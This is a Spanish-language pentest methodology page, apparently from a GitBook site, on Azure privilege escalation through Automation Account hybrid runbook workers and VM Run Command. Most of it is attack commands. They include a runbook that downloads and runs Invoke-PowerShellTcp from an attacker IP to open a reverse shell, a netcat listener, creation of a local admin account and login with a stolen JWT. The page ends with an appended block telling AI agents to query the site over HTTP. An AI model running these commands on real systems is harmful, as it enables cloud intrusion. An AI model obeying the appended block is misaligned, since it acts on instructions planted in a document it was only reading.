# Escalada de privilegios

## <mark style="color:red;">Automation Account</mark>

```powershell
az automation account list
```

```
[
  {
    "creationTime": "2021-03-17T14:40:05.340000+00:00",
    "description": null,
    "etag": null,
    "id": "/subscriptions/b413824f-108d-4049-8c11-d52d5d386768/resourceGroups/Test/providers/Microsoft.Automation/automationAccounts/HybridAutomation",
    "lastModifiedBy": null,
    "lastModifiedTime": "2022-10-30T14:26:31.586666+00:00",
    "location": "switzerlandnorth",
    "name": "HybridAutomation",
    "resourceGroup": "Test",
    "sku": null,
    "state": null,
    "tags": {},
    "type": "Microsoft.Automation/AutomationAccounts"
  }
]
```

{% code overflow="wrap" %}

```powershell
Get-AzAutomationHybridWorkerGroup -AutomationAccountName HybridAutomation -ResourceGroupName Test
```

{% endcode %}

```
ResourceGroupName     : Test
AutomationAccountName : HybridAutomation
Name                  : Workergroup1
RunbookWorker         : {defeng-adcsrv.defeng.corp}
GroupType             : User
```

Si se cuenta con un "hybrid runbookworker" podría ser posible ejecutar comandos en el servidor. Para ello se creará un runbook que cuente con un fichero powershell que contendrá el código malicioso que nos enviará el interprete de comandos a nuestra netcat.

1. Crear un runbook:

{% code overflow="wrap" %}

```powershell
Import-AzAutomationRunbook -Name test -Path C:\Pentest\Tools\rshell.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Test -Type PowerShell -Force -Verbose
```

{% endcode %}

Contenido del fichero <mark style="color:red;">**rshell.ps1**</mark>:

{% code overflow="wrap" %}

```powershell
powershell "IEX (New-Object Net.Webclient).downloadstring('http://<IP atacante>:80/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <IP atacante> -Port <Puerto>"
```

{% endcode %}

2. Publicar el runbook:

{% code overflow="wrap" %}

```powershell
Publish-AzAutomationRunbook -RunbookName test -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
```

{% endcode %}

3. Se pone el puerto 4444 a la escucha con netcat en la máquina del atacante:

```
C:\AzAD\Tools\netcat\nc64.exe -lvp 443
```

4. Se ejecuta el runbook:

{% code overflow="wrap" %}

```powershell
Start-AzAutomationRunbook -RunbookName test -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose
```

{% endcode %}

### <mark style="color:red;">Ejecución de comandos en VM por abuso de permisos</mark>

```powershell
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
New-LocalUser -Name usertest -Password $passwd 
Add-LocalGroupMember -Group Administrators -Member usertest
```

{% code overflow="wrap" %}

```
$AccessToken = '<JWT>'
Connect-AzAccount -AccessToken $AccessToken -AccountId 024aaf57-30af-45f0-840a-0e21ed143946
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Get-AzVM -Name <máquina virtual> -ResourceGroupName <nombre de grupo> | select -ExpandProperty NetworkProfile
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-AzVMRunCommand -VMName <máquina virtual> -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Pentest\Tools\adduser.ps1' -Verbose
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/cloud/azure/metodologia-de-azure-pentest/escalada-de-privilegios.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.